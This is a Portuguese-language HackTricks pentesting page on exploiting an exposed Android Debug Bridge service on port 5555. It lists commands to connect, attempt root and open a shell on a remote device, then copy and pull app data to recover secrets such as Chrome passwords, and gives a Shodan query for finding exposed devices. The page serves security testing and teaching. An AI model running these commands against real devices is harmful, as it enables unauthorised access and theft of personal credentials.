3.4 KiB
Informação Básica
O Android Debug Bridge (adb) é uma ferramenta versátil de linha de comando que permite a comunicação com um dispositivo. O comando adb facilita uma variedade de ações no dispositivo, como instalar e depurar aplicativos, e fornece acesso a um shell Unix que pode ser usado para executar uma variedade de comandos em um dispositivo. (de aqui)
Porta padrão: 5555.
PORT STATE SERVICE VERSION
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
Conectar
Se você encontrar o serviço ADB em execução em uma porta de um dispositivo e puder se conectar a ele, você pode obter um shell dentro do sistema:
adb connect 10.10.10.10
adb root # Try to escalate to root
adb shell
Para mais comandos ADB, confira a seguinte página:
{% content-ref url="../mobile-pentesting/android-app-pentesting/adb-commands.md" %} adb-commands.md {% endcontent-ref %}
Extrair dados do aplicativo
Para baixar completamente os dados de um aplicativo, você pode:
# From a root console
chmod 777 /data/data/com.package
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
adb pull "/sdcard/com.package"
Você pode usar esse truque para recuperar informações sensíveis como senhas do Chrome. Para mais informações sobre isso, verifique as informações e referências fornecidas aqui.
Shodan
android debug bridge
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
-
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
-
Adquira o swag oficial do PEASS & HackTricks
-
Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
-
Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.